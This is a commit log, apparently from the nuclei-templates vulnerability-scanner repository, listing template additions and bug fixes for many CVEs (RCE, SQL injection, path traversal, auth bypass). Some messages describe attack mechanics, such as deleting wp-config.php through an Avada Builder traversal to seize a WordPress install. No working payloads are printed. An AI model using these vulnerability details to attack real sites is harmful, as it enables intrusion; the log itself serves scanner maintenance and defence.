ThinkPHP 6 (echoes the traversal cookie back in Set-Cookie, then serves the
written file):

  before:  no output
  after:   [thinkphp6-arbitrary-write] [http] [critical] .../4zdzkqh4xhz.php

Isolated the name itself on a two-request template first, so the result is
not specific to this one:

  "status_2 == 200"       no match
  "status_code_2 == 200"  matched

nuclei -validate reports success on both the broken and the fixed template,
which is why this survived.

Only occurrence in the tree: `grep -rn 'status_[0-9]' --include='*.yaml' .`
excluding status_code returns nothing else. One line.
2026-07-27 09:26:44 +09:00
Jiho Lee 7f5a5e7a18 fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
nuclei sets interactsh_protocol, interactsh_request, interactsh_response and
interactsh_ip on the event (pkg/protocols/common/interactsh/interactsh.go).
There is no plain `interactsh` key, so `part: interactsh` resolves to nothing
and the extractor silently yields no interaction_id.

The template's own dsl matcher already uses the correct name:

  - 'contains(interactsh_request, "/api/v3/portal")'

so only the extractor was wrong. Every other template in the tree that
extracts from an OAST callback uses interactsh_request (CVE-2026-35029,
CVE-2021-2135, dast/ai/ai-data-exfiltration); this was the only
`part: interactsh` in 13,451 files.

Confirmed that an unrecognised part fails silently rather than erroring:

  part: interactsh              -> [ix-bad]  ... (no extraction)
  part: totally-made-up-header  -> [ix-hdr]  ... (no extraction)
  part: header                  -> [ix-good:got] ... ["TestServer/9.9.9"]

`nuclei -validate` passes both before and after, which is why this was
invisible.

One line.
2026-07-27 07:22:22 +09:00
Jiho Lee 49d873a29c fix: add the missing capture group to three regex extractors
Each of these declares `group: 1` on a pattern with zero capture groups.
`ExtractRegex` reads `FindAllStringSubmatch`, which returns exactly
`NumSubexp()+1` entries per match, so index 1 is always out of range: the
template matches, reports, and extracts nothing.

Verified against a local server with nuclei built from dev. Before:

  [oracle-containers-panel:word-1] [http] [info] http://127.0.0.1:8732/
  [smtp-credentials-exposure:dsl-1] [http] [high] http://127.0.0.1:8732/

After:

  [oracle-containers-panel:word-1] ... ["10.1.3.5.0"]
  [smtp-credentials-exposure:dsl-1] ... ["Username: [email protected]","PASSWORD: s3cr3t"]

smtp-credentials-exposure is the one that matters most: the JSON pattern
sits beside an XML pattern that does capture, so on a JSON body the
template fires and silently omits the credential it exists to report.
`[^"]*` rather than `.*` so a value cannot run past its closing quote into
the next field.

The other two extract a version string and a context path, both empty today.

Scan of the tree: 13,451 yaml files, 2,100 regex extractors with group > 0,
these 3 files (4 patterns) affected. Nothing else changes.

Found while adding a compile-time check for this in nuclei
(projectdiscovery/nuclei#7612).
2026-07-27 06:34:04 +09:00
Jiho Lee 9c1b4fea4d fix: replace an unsupported lookahead that made the template fail to load
The invalid-owner matcher uses a negative lookahead:

    ^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)

Go's RE2 has no lookahead, so this never compiles and the whole template
is dropped at load:

    Could not parse template home-env-permission.yaml: could not compile
    request: cause="could not compile regex: ^\\S+\\s+\\S+\\s+(?!root|...)"
    Found 1 templates with runtime error

Neither of the two matchers ever runs, so the check has never worked.

The comparison it wants -- owner is neither root nor the expected user --
cannot be expressed in RE2 at all, since it relates two fields of the
same line. The shell pipeline already knows both, so awk marks the line
and the matcher looks for that marker instead.

Verified against sample ls -l output: only the foreign-owner row is
flagged; rows owned by root or by the expected user are not.

  -rw-r--r-- 1 mallory mallory ... EXPECTED_USER=bob   -> INVALID_OWNER
  -rw-r--r-- 1 alice   alice   ... EXPECTED_USER=alice -> not flagged
  -rw-r--r-- 1 root    root    ... EXPECTED_USER=alice -> not flagged

Before: template dropped with a compile error.
After:  loads with no runtime error.

Found by scanning every regex in the repo: 10088 patterns across 13451
templates, this was the only one Go cannot compile.
2026-07-27 00:03:40 +09:00
Mzack9999 72eeb016ca fix templates 2026-07-26 12:29:41 +04:00
ghost d51e9a38ae chore: update EPSS scores 🤖 2026-07-26 03:00:24 +00:00
ghost e17dbe446e chore: update EPSS scores 🤖 2026-07-25 02:59:55 +00:00
Yoann ONO 02eb2db1d4 Create CVE-2026-34036.yaml
Dolibarr <=22.0.4 authenticated Local File Inclusion in core/ajax/selectobject.php.
Verified against Dolibarr 20.0.4 with a live lab.

Signed-off-by: Yoann ONO <[email protected]>
2026-07-24 23:15:27 +02:00
ghost c90abbe640 chore: generate templates checksum 🤖 2026-07-24 13:58:24 +00:00
ghost 0d3d7f28c9 chore: generate CVEs metadata 🤖 2026-07-24 13:55:51 +00:00
ghost e269d50baf chore: sign templates 🤖 2026-07-24 13:55:45 +00:00
Sandeep SinghandCursor 1c39dc4778 Improve CVE-2026-63030: safe route-confusion detection (#16658)
Replace the timing/SLEEP-based blind SQLi detection with a deterministic
route-confusion probe to fix false negatives reported in #16629.

- Drop SLEEP timing oracle (WAF-prone, flaky, availability impact)
- Detect batch-route confusion via block_cannot_read + absence of
  rest_term_invalid (patched hosts route correctly and return it)
- Keep WordPress pre-check gate via flow to avoid false positives
- Update metadata, tags, CWE (CWE-287), and credit flx-0x00

Co-authored-by: Cursor <[email protected]>
2026-07-24 19:25:23 +05:30
Jerome FELLUS 1b313d098d add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass 2026-07-24 12:06:09 +02:00
ghost 3d42602831 chore: generate templates checksum 🤖 2026-07-24 06:31:06 +00:00
ghost c9eb754b77 chore: generate new addition list 🤖 2026-07-24 06:29:18 +00:00
ghost 40417ab9ca chore: sign templates 🤖 2026-07-24 06:28:33 +00:00
pussycat0x a691f258e5 Merge pull request #16654 from wujiecong/arthas-web-console
Added Alibaba Arthas Web Console Detect Template
2026-07-24 11:58:11 +05:30
ghost ec725c05ee chore: update KEV and vKEV tags and metadata 🤖 2026-07-24 04:04:15 +00:00
Roberto Nunes 17b45eec23 Update arthas-web-console.yaml 2026-07-24 12:47:36 +09:00
ghost 060b2591e6 chore: update EPSS scores 🤖 2026-07-24 03:00:15 +00:00
ghost ee71c007b3 chore: generate templates checksum 🤖 2026-07-23 16:40:29 +00:00
ghost d5aaf31666 chore: sign templates 🤖 2026-07-23 16:39:22 +00:00
pussycat0x 7a640986c8 Merge pull request #15947 from hugo-syn/main
feat: add body fuzzing to DAST and add POST/PUT methods
2026-07-23 22:09:02 +05:30
ghost 38022ee243 chore: generate new addition list 🤖 2026-07-23 16:38:21 +00:00
ghost ef174abce5 chore: generate CVEs metadata 🤖 2026-07-23 16:37:44 +00:00
ghost 84f7b742b9 chore: sign templates 🤖 2026-07-23 16:37:40 +00:00
pussycat0x e19e050d18 Merge pull request #16586 from Aryu-RU/add-cve-2026-42796
Add CVE-2026-42796 - Arelle < 2.39.10 - Unauthenticated Remote Code Execution
2026-07-23 22:07:17 +05:30
wujiecong cabe21dfda Added Alibaba Arthas Web Console Detect Template 2026-07-23 21:41:08 +08:00
iamatownboy c18b5966d3 Add CVE-2026-3335 Canto template 2026-07-23 19:42:49 +09:00
iamatownboy 5b604f196f Add CVE-2026-4987 SureForms payment bypass template 2026-07-23 19:42:48 +09:00
iamatownboy 9f5e0d0d15 Add CVE-2026-1830 Quick Playground template 2026-07-23 19:42:47 +09:00
iamatownboy 54e2148173 Add CVE-2025-14047 WPUF template 2026-07-23 19:42:47 +09:00
iamatownboy f5fa131419 Add CVE-2026-39468 Meta Box template 2026-07-23 19:42:47 +09:00
ghost c9fa86589a chore: generate templates checksum 🤖 2026-07-23 08:44:57 +00:00
ghost b37911b836 chore: generate new addition list 🤖 2026-07-23 08:26:28 +00:00
ghost fcd913a3ac chore: sign templates 🤖 2026-07-23 08:25:46 +00:00
pussycat0x ba52a1b696 Merge pull request #10321 from Thacien/CVE-2023-34992
Added CVE-2023-34992 and CVE-2024-23108 Templates
2026-07-23 13:55:22 +05:30
pussycat0x 1c60f15392 Update CVE-2023-34992.yaml 2026-07-23 13:54:25 +05:30
ghost cffef6ac48 chore: generate templates checksum 🤖 2026-07-23 08:16:06 +00:00
ghost cf2057a586 chore: generate new addition list 🤖 2026-07-23 08:14:13 +00:00
ghost b5eacab563 chore: sign templates 🤖 2026-07-23 08:13:32 +00:00
ghost 75b6cf7075 chore: generate CVEs metadata 🤖 2026-07-23 08:13:30 +00:00
Dhiyaneshwaran 4a866b97c6 Merge pull request #16189 from aleff-github/cve-2025-55746-directus-file-modification
Add Directus CVE-2025-55746 unauthenticated file modification validator
2026-07-23 13:43:11 +05:30
Ritik Chaddha 15f868583e Update CVE-2025-55746.yaml 2026-07-23 13:33:36 +05:30
Dhiyaneshwaran 9b055e0ce5 Fix formatting in CVE-2025-55746.yaml 2026-07-23 13:31:23 +05:30
Dhiyaneshwaran 34dc5a7256 Refine CVE-2025-55746 details and HTTP request format
Updated the CVE-2025-55746 YAML file to clarify the vulnerability details, enhance the remediation instructions, and adjust the HTTP request structure.
2026-07-23 13:28:42 +05:30
ghost 742e10fc02 chore: generate new addition list 🤖 2026-07-23 07:43:46 +00:00
ghost f416b85be3 chore: generate CVEs metadata 🤖 2026-07-23 07:43:02 +00:00
ghost 1ecbb463de chore: sign templates 🤖 2026-07-23 07:42:37 +00:00
ghost eb720b3299 chore: generate new addition list 🤖 2026-07-23 07:39:54 +00:00
Ritik Chaddha ba56320df6 Merge pull request #16624 from projectdiscovery/CVE-2026-58455
CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection
2026-07-23 13:08:44 +05:30
Ritik Chaddha 4debb34345 Merge pull request #16623 from projectdiscovery/CVE-2026-22683
CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management
2026-07-23 13:08:39 +05:30
Ritik Chaddha 9b6f145f1e Merge pull request #16622 from projectdiscovery/CVE-2026-23696
CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions
2026-07-23 13:08:29 +05:30
Ritik Chaddha 802e6263a0 Update CVE-2026-23696.yaml 2026-07-23 12:42:45 +05:30
Ritik Chaddha 0c5d491662 Update CVE-2026-22683.yaml 2026-07-23 12:41:53 +05:30
Ritik Chaddha 1b6d246178 Update CVE-2026-58455.yaml 2026-07-23 12:40:54 +05:30
ghost b5ee541aec chore: generate templates checksum 🤖 2026-07-23 05:58:07 +00:00
ghost 89df2564e9 chore: generate new addition list 🤖 2026-07-23 05:56:14 +00:00
ghost 96df081d1c chore: sign templates 🤖 2026-07-23 05:55:34 +00:00
Aman Rawat 488d52c9a3 Merge pull request #16471 from fsoppelsa/add-vllm-exposed-template
Add vLLM OpenAI-compatible API unauthenticated exposure template
2026-07-23 11:25:12 +05:30
ghost 5475347094 chore: generate templates checksum 🤖 2026-07-23 05:52:32 +00:00
ghost 3801986146 chore: sign templates 🤖 2026-07-23 05:51:26 +00:00
ghost af80b53d4e chore: generate new addition list 🤖 2026-07-23 05:51:21 +00:00
ghost eef9d62a8c chore: generate CVEs metadata 🤖 2026-07-23 05:51:12 +00:00
Aman Rawat 3f526cc76d Merge pull request #16096 from ChrisJr404/add-cve-2024-42323-hertzbeat
Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE
2026-07-23 11:20:51 +05:30
Aman Rawat f4f42d60d0 Merge pull request #16349 from flyingllama87/perforce-cve-update
Enrich 4x Perforce templates (now CVE-2026-6043)
2026-07-23 11:20:42 +05:30
Aman Rawat a638b76eb2 Merge pull request #16468 from stanley0707/fix/dameng-detect-false-positives
fix dameng-detect: use positive signature to avoid false positives
2026-07-23 11:20:34 +05:30
ghost 4d44cd3150 chore: sign templates 🤖 2026-07-23 05:50:12 +00:00
ghost a2d9493aa3 chore: generate CVEs metadata 🤖 2026-07-23 05:50:06 +00:00
Aman Rawat 9b846f3b8a Merge pull request #16092 from ChrisJr404/add-cve-2024-56511-dataease
Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass
2026-07-23 11:19:48 +05:30
ghost 7d8b377f22 chore: generate templates checksum 🤖 2026-07-23 05:20:55 +00:00
ghost 599330b14e chore: generate new addition list 🤖 2026-07-23 05:19:07 +00:00
ghost 23609089b4 chore: sign templates 🤖 2026-07-23 05:18:24 +00:00
Dhiyaneshwaran c80ee05368 Merge pull request #16553 from rxerium/add-ai-ml-gap-templates
Add AI/ML panel and technology detection templates
2026-07-23 10:48:04 +05:30
Dhiyaneshwaran e459d440a6 update descriptions to past tense and standardize formatting 2026-07-23 10:42:42 +05:30
ghost 9a4a5cd3a5 chore: generate templates checksum 🤖 2026-07-23 04:47:38 +00:00
ghost 83cfe0bd2d chore: sign templates 🤖 2026-07-23 04:45:06 +00:00
Dhiyaneshwaran 864409c48d Merge pull request #16579 from munzzyy/fix/exposed-zookeeper-default-config-fn
fix: reduce false negatives in exposed-zookeeper template
2026-07-23 10:14:47 +05:30
Dhiyaneshwaran 9097945801 Enhance ZooKeeper exposure details and extractors
Updated the description, impact, remediation, and added extractors for unauthenticated access to ZooKeeper.
2026-07-23 10:10:04 +05:30
ghost 9d899332ad chore: generate templates checksum 🤖 2026-07-23 04:36:57 +00:00
ghost 8b167e31fe chore: sign templates 🤖 2026-07-23 04:34:44 +00:00
ghost b72d9bed77 chore: generate CVEs metadata 🤖 2026-07-23 04:34:39 +00:00
Roberto Nunes ea5e44fe8a Merge pull request #16526 from Eren-Akdag/fix/CVE-2023-50839-false-positive
fix(CVE-2023-50839): add plugin fingerprint to prevent false positives
2026-07-23 13:34:22 +09:00
ghost a74c7e1f10 chore: sign templates 🤖 2026-07-23 04:34:11 +00:00
Roberto Nunes 996f5fd0f2 Merge pull request #16591 from daffainfo/patch-112941
Moved CVE-2021-27877.yaml to the correct folder
2026-07-23 13:33:52 +09:00
Akokonunes 3e9bdbfb50 fix(CVE-2023-50839): add plugin fingerprint pre-check to prevent false positives 2026-07-23 13:29:22 +09:00
ghost 8069bac55b chore: generate templates checksum 🤖 2026-07-23 04:26:27 +00:00
Akokonunes 6cbe03ef61 fix: move CVE-2021-27877 from network/ to javascript/ (correct template type) 2026-07-23 13:25:37 +09:00
ghost 1e324eaede chore: generate new addition list 🤖 2026-07-23 04:25:18 +00:00
ghost a010af7739 chore: generate CVEs metadata 🤖 2026-07-23 04:24:32 +00:00
Roberto Nunes df6b93bbd6 Merge pull request #16637 from projectdiscovery/CVE-2026-48909
CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution
2026-07-23 13:24:13 +09:00
ghost 2acdf53e68 chore: generate CVEs metadata 🤖 2026-07-23 04:23:59 +00:00
ghost 63a4ae6014 chore: sign templates 🤖 2026-07-23 04:23:52 +00:00
Roberto Nunes d0811013a2 Merge pull request #16301 from AI-DEV-BOT/convert/bitrix-open-redirect-cve-2008-2052
Convert Bitrix open redirect template to CVE-2008-2052
2026-07-23 13:23:34 +09:00
ghost 47da10440b chore: generate templates checksum 🤖 2026-07-23 04:17:34 +00:00
ghost fa1ae2b8ab chore: generate new addition list 🤖 2026-07-23 04:15:55 +00:00
ghost ea061ccee0 chore: sign templates 🤖 2026-07-23 04:15:07 +00:00
pussycat0x b0c1768f93 Merge pull request #12821 from Jaenact/add-dast_vulnerabilites_injection
Add Unix and Windows Command Injection Detection Template
2026-07-23 09:44:46 +05:30
ghost 2823f4f81e chore: generate templates checksum 🤖 2026-07-23 04:14:21 +00:00
ghost b541b56a39 chore: sign templates 🤖 2026-07-23 04:12:39 +00:00
pussycat0x 7647e01f20 Merge pull request #16160 from PachkaKofe04/convert-geovision-CVE-2021-47795
Convert geovision-geowebserver-lfi-xss to CVE-2021-47795
2026-07-23 09:42:20 +05:30
Akokonunes 54d6a875aa fix: resolve conflict - merge CVE-2008-2052 improvements (cpe, name, refs) with main epss scores 2026-07-23 13:12:18 +09:00
ghost c90ba6c773 chore: sign templates 🤖 2026-07-23 04:10:10 +00:00
pussycat0x 375d733641 Merge pull request #16362 from jakxx/twitter_fp
Update twitter-phish.yaml
2026-07-23 09:39:49 +05:30
ghost 63372485cc chore: generate templates checksum 🤖 2026-07-23 04:09:35 +00:00
ghost a1072de80c chore: generate new addition list 🤖 2026-07-23 04:07:29 +00:00
ghost e18c0189b6 chore: sign templates 🤖 2026-07-23 04:07:14 +00:00
Dhiyaneshwaran 2bba2e9feb Merge pull request #16574 from infosec-asish/fix/langfuse-health-matcher
Fix/langfuse health matcher
2026-07-23 09:36:56 +05:30
ghost d1f3fdf703 chore: sign templates 🤖 2026-07-23 04:06:49 +00:00
Dhiyaneshwaran ed2260ccb3 Update CVE-2025-55746 name for clarity 2026-07-23 09:36:45 +05:30
ghost 5a2c8edba4 chore: generate CVEs metadata 🤖 2026-07-23 04:06:44 +00:00
pussycat0x a69fd60600 Merge pull request #16626 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8385.yaml - WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure
2026-07-23 09:36:26 +05:30
ghost a619a30c9f chore: generate templates checksum 🤖 2026-07-23 04:06:17 +00:00
ghost 3643ec4172 chore: update KEV and vKEV tags and metadata 🤖 2026-07-23 04:04:53 +00:00
ghost 061937844c chore: generate new addition list 🤖 2026-07-23 04:04:00 +00:00
ghost 9c5990e7b9 chore: generate new addition list 🤖 2026-07-23 04:03:38 +00:00
ghost dfe1d6ed0d chore: sign templates 🤖 2026-07-23 04:03:19 +00:00
Roberto Nunes b1302ca755 Merge pull request #16619 from wujiecong/CNVD-2021-35876
Add CNVD-2021-35876 Alibaba Sentinel - Default Login
2026-07-23 13:02:57 +09:00
ghost aa00da71eb chore: generate CVEs metadata 🤖 2026-07-23 04:02:55 +00:00
Roberto Nunes 2cc33d8dbe Merge pull request #16345 from WRG-11/cve-2026-31831-tautulli
CVE-2026-31831 (Tautulli <= 2.16.1 - Unauthenticated Path Traversal)
2026-07-23 13:02:32 +09:00
ghost 7307a43d9d chore: generate templates checksum 🤖 2026-07-23 03:52:11 +00:00
ghost 5a3179e0de chore: generate new addition list 🤖 2026-07-23 03:50:48 +00:00
ghost 8d44f33e20 chore: sign templates 🤖 2026-07-23 03:50:06 +00:00
ghost c5483e0461 chore: generate new addition list 🤖 2026-07-23 03:49:47 +00:00
pussycat0x d16c353156 Merge pull request #16612 from Th3l0newolf/chatwoot
Add Chatwoot Login Panel detection
2026-07-23 09:19:43 +05:30
ghost dbfdd2e439 chore: sign templates 🤖 2026-07-23 03:49:03 +00:00
ghost 21490268d3 chore: generate CVEs metadata 🤖 2026-07-23 03:48:55 +00:00
Dhiyaneshwaran 2e295254e5 Merge pull request #16640 from projectdiscovery/16634-TEMPLATE-REQUEST]-Unauthenticated-RCE-in-SP-Page-Builder-(Joomla)
Add CVE-2026-48908.yaml - Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
2026-07-23 09:18:39 +05:30
Dhiyaneshwaran d89ce32bda Refactor description formatting in exposed-zookeeper.yaml
Removed redundant line breaks in the description of the exposed ZooKeeper access issue.
2026-07-23 09:17:36 +05:30
Roberto Nunes 84cfdece93 Remove CVE-2026-48908.yaml from http/cves/2026 (moved to javascript/cves/2026) 2026-07-23 12:44:01 +09:00
Roberto Nunes 1172ce9514 Move CVE-2026-48908.yaml from http/cves/2026 to javascript/cves/2026 2026-07-23 12:43:52 +09:00
ghost 4e2a47d17b chore: update EPSS scores 🤖 2026-07-23 03:00:20 +00:00
Roberto Nunes 8424591612 use javascript protocol instead 2026-07-23 11:13:36 +09:00
Roberto Nunes 8d7b5b2de7 Add CVE-2026-48908 vulnerability details
Added CVE-2026-48908 entry detailing an unauthenticated arbitrary file upload vulnerability in Joomla SP Page Builder.
2026-07-23 09:32:36 +09:00
Dhiyaneshwaran d9aebb20da CVE-2026-48909 - Joomla SP LMS <= 4.1.3 - Remote Code Execution 2026-07-22 23:52:30 +05:30
ghost 4e43b74806 chore: generate templates checksum 🤖 2026-07-22 17:46:47 +00:00
ghost b2ef372abb chore: generate CVEs metadata 🤖 2026-07-22 17:44:11 +00:00
Dhiyaneshwaran 343b0766c7 Merge pull request #16636 from inokii/bug/cve-2025-29635-http-not-javascript
Fix CVE-2025-29635 classification type
2026-07-22 23:13:53 +05:30
Matthew Kienow eb146fc60a Fix CVE-2025-29635 classification type
Correct the component type for CVE-2025-29635 to an HTTP template
rather than JavaScript.
2026-07-22 13:26:09 -04:00
Ritik Chaddha 5554c4b483 Update CVE-2026-31831.yaml 2026-07-22 21:57:53 +05:30
ghost edc652d6e0 chore: generate templates checksum 🤖 2026-07-22 15:51:07 +00:00
ghost 38d69eac06 chore: sign templates 🤖 2026-07-22 15:48:34 +00:00
Dhiyaneshwaran e89cdbfb4a Merge pull request #16628 from kadewu/kiali-panel-fp
reduce kiali panel fp
2026-07-22 21:18:10 +05:30
Ritik Chaddha f14b063535 Update CVE-2025-55746.yaml 2026-07-22 20:33:37 +05:30
stopic-lab 08fc921997 Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
This PR adds a new template for CVE-2026-8713, a critical vulnerability in the Avada (Fusion) Builder plugin for WordPress (versions up to 3.15.3).

The vulnerability exists in the maybe_delete_files() function within the Fusion_Form_DB_Entries class. Due to insufficient validation of the file_path parameter, an unauthenticated attacker can perform a directory traversal to delete arbitrary files on the server.

Impact:
A successful attack allows the deletion of sensitive files such as wp-config.php. Deleting wp-config.php resets the WordPress installation, allowing an attacker to re-install the site and gain full administrative control (RCE).

Vulnerability Details
CVE ID: CVE-2026-8713
Severity: Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Plugin: Avada (Fusion) Builder
Affected Versions: <= 3.15.3
Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Arbitrary File Deletion.
References
https://nvd.nist.gov/vuln/detail/CVE-2026-8713
https://www.wordfence.com/blog/2026/06/critical-unauthenticated-arbitrary-file-deletion-vulnerability-patched-in-avada-builder-wordpress-plugin/
https://www.falconinternet.net/blog/avada-builder-cve-2026-8713-wp-config-deletion-wordpress
Checklist
[x] I have tested the template logic against the described endpoint.
[x] The template follows the Nuclei v3 format.
[x] Proper metadata (tags, CVSS, etc.) is included.
[x] Reference links are provided.
2026-07-23 00:24:23 +09:30
Ritik Chaddha ef2ec6b454 Update CVE-2024-42323.yaml 2026-07-22 20:17:04 +05:30
Ritik Chaddha 2c778474c8 Update CVE-2024-42323.yaml 2026-07-22 20:15:57 +05:30
Ritik Chaddha 82b326c34a Update CVE-2024-56511.yaml 2026-07-22 20:14:35 +05:30
Ritik Chaddha e0e68d1264 Update CVE-2024-56511.yaml 2026-07-22 20:07:54 +05:30
Ritik Chaddha eed358670c Update chatwoot-login-panel.yaml 2026-07-22 19:05:52 +05:30
Ritik Chaddha d341fd7da6 Update langfuse-panel.yaml 2026-07-22 18:42:17 +05:30
Ritik Chaddha 610edf11e2 Update vllm-openai-api-exposed.yaml 2026-07-22 18:30:10 +05:30
ghost efa56541ba chore: generate templates checksum 🤖 2026-07-22 12:17:22 +00:00
ghost ae4fd557a1 chore: generate new addition list 🤖 2026-07-22 12:15:49 +00:00
ghost c0b536291f chore: generate CVEs metadata 🤖 2026-07-22 12:15:05 +00:00
ghost 57573c57fe chore: sign templates 🤖 2026-07-22 12:15:01 +00:00
Roberto Nunes 39978dd341 Merge pull request #16627 from projectdiscovery/CVE-2026-6875
CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
2026-07-22 21:14:42 +09:00
kadewu 9c5965e82a reduce kliali panel fp 2026-07-22 13:36:57 +02:00
Dhiyaneshwaran 1359291f5f CVE-2026-6875 - ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE 2026-07-22 16:24:59 +05:30
ghost 2397fab0b7 chore: generate templates checksum 🤖 2026-07-22 05:57:57 +00:00
pussycat0x 0c7acbe01d Merge pull request #16600 from zer0p0intvvv/docs/add-zer0p0int-social-profile
Add zer0p0int contributor social profile
2026-07-22 11:27:33 +05:30
ghost ab097b07fc chore: generate templates checksum 🤖 2026-07-22 04:33:17 +00:00
ghost e93642c9e8 chore: sign templates 🤖 2026-07-22 04:31:02 +00:00
Roberto Nunes fa3c3c4c30 Merge pull request #16616 from anupamme/fix-repo-nuclei-templates-fix-remove-aws-key-cve-2024-51482
fix: aws access key id value detected in CVE-2024-51482.yaml...
2026-07-22 13:30:41 +09:00
Roberto Nunes 7052f5c7da Create CVE-2026-8385.yaml 2026-07-22 13:29:44 +09:00
ghost 43d43cc4e4 chore: update KEV and vKEV tags and metadata 🤖 2026-07-22 04:06:03 +00:00
ghost a51cd98c49 chore: update EPSS scores 🤖 2026-07-22 03:00:02 +00:00
Dhiyaneshwaran 37eca2c8b6 CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection 2026-07-22 01:14:08 +05:30
Dhiyaneshwaran f686a73751 Update CVE-2026-22683.yaml 2026-07-21 23:44:41 +05:30
Dhiyaneshwaran f8bcf78955 CVE-2026-22683 - Windmill < 1.603.3 - Operator Authorization Bypass via Folder Management 2026-07-21 23:39:31 +05:30
Dhiyaneshwaran e7d551c398 CVE-2026-23696 - Windmill < 1.603.3 - Authenticated SQL Injection via Folder Permissions 2026-07-21 23:11:18 +05:30
ghost 1c48d2f992 chore: generate templates checksum 🤖 2026-07-21 17:02:50 +00:00
ghost 82d56d1c74 chore: generate new addition list 🤖 2026-07-21 17:00:43 +00:00
ghost abc88399a6 chore: sign templates 🤖 2026-07-21 17:00:10 +00:00
ghost ee710265bc chore: generate CVEs metadata 🤖 2026-07-21 17:00:02 +00:00
Ritik Chaddha 2eccf5f388 Merge pull request #16563 from xtronix2000/CVE-2026-33497
Add CVE-2026-33497 Langflow Unauthenticated Path Traversal
2026-07-21 22:29:45 +05:30
Dhiyaneshwaran 2e1e12ce7e Update windows-command-injection.yaml 2026-07-21 20:53:33 +05:30
ghost 9426659ffb chore: generate templates checksum 🤖 2026-07-21 15:22:45 +00:00
ghost 13b3bfe1b5 chore: generate new addition list 🤖 2026-07-21 15:21:46 +00:00
ghost 6bf0116f63 chore: generate new addition list 🤖 2026-07-21 15:20:58 +00:00
Ritik Chaddha 6bce521b02 Merge pull request #16565 from righettod/solife_add
Add detection of "Vermeg Solife" login panel instances.
2026-07-21 20:50:38 +05:30
ghost f39aa32590 chore: sign templates 🤖 2026-07-21 15:20:13 +00:00
Ritik Chaddha c1ee0f00c4 Merge pull request #16613 from projectdiscovery/CVE-2026-3296
CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection
2026-07-21 20:49:52 +05:30
Ritik Chaddha 1fa7ee39c8 Update CVE-2026-33497.yaml 2026-07-21 20:49:48 +05:30
ghost e536fd003c chore: generate templates checksum 🤖 2026-07-21 15:16:32 +00:00
ghost 5cb4738c37 chore: generate new addition list 🤖 2026-07-21 15:15:09 +00:00
ghost 665ca830d9 chore: generate CVEs metadata 🤖 2026-07-21 15:14:24 +00:00
ghost 8364376377 chore: sign templates 🤖 2026-07-21 15:14:21 +00:00
Ritik Chaddha f0b174087b Merge pull request #16572 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-52773.yaml - YesWiki Archived Revision - Reflected XSS
2026-07-21 20:43:58 +05:30
ghost 28701a1efe chore: sign templates 🤖 2026-07-21 15:13:49 +00:00
Ritik Chaddha d3ad4804b4 Update CVE-2026-3296.yaml 2026-07-21 20:43:48 +05:30
ghost 211897826b chore: generate new addition list 🤖 2026-07-21 15:13:34 +00:00
Ritik Chaddha 9283582017 Merge pull request #16580 from projectdiscovery/16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829
[FIX FALSE-POSITIVE] Mailpit < 1.28.2 - SMTP CRLF Injection (CVE-2026-23829)
2026-07-21 20:43:28 +05:30
ghost e78d527291 chore: generate CVEs metadata 🤖 2026-07-21 15:12:54 +00:00
ghost f892e74033 chore: sign templates 🤖 2026-07-21 15:12:50 +00:00
Ritik Chaddha dcdb0c3535 Merge pull request #16594 from projectdiscovery/CVE-2026-15409
CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy
2026-07-21 20:42:28 +05:30
Dhiyaneshwaran 5d87b691c2 Refine Unix Command Injection detection configuration
Updated the Unix Command Injection YAML configuration to enhance clarity and detail in the detection process. Adjusted payloads and regex patterns for improved accuracy and added new references.
2026-07-21 20:39:59 +05:30
Ritik Chaddha 528c71f759 Merge branch 'main' into 16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829 2026-07-21 20:38:49 +05:30
Ritik Chaddha 3fd1ad6fa8 Update CVE-2026-52773.yaml 2026-07-21 20:38:41 +05:30
Ritik Chaddha 3fefcf558f Update CVE-2026-15409.yaml 2026-07-21 20:37:05 +05:30
Ritik Chaddha 8edc684b96 Update CVE-2026-3296.yaml 2026-07-21 20:36:15 +05:30
wujiecong 86279ec839 Add CNVD-2021-35876 Alibaba Sentinel - Default Login 2026-07-21 22:04:20 +08:00
ghost b017d7eb92 chore: sign templates 🤖 2026-07-21 13:36:13 +00:00
Dhiyaneshwaran e4bba23f31 Merge pull request #16614 from kazet/severity-fix-a7dfec36609d
Severity fix
2026-07-21 19:05:52 +05:30
Dhiyaneshwaran 794b030f81 Update directory-listing-no-host-header.yaml 2026-07-21 18:57:00 +05:30
ghost 33e8d30ac3 chore: sign templates 🤖 2026-07-21 13:01:47 +00:00
Dhiyaneshwaran 2884726c69 Merge pull request #16620 from projectdiscovery/co-author-fix
Update author field for CVE-2024-23108
2026-07-21 18:31:27 +05:30
ghost 429f7b4d10 chore: generate new addition list 🤖 2026-07-21 12:54:02 +00:00
ghost 93c6b37dee chore: generate CVEs metadata 🤖 2026-07-21 12:53:06 +00:00
ghost 47f675833e chore: sign templates 🤖 2026-07-21 12:53:03 +00:00
pussycat0x d3be30ee65 Merge pull request #16555 from panchiko-p/add_CVE-2026-56290
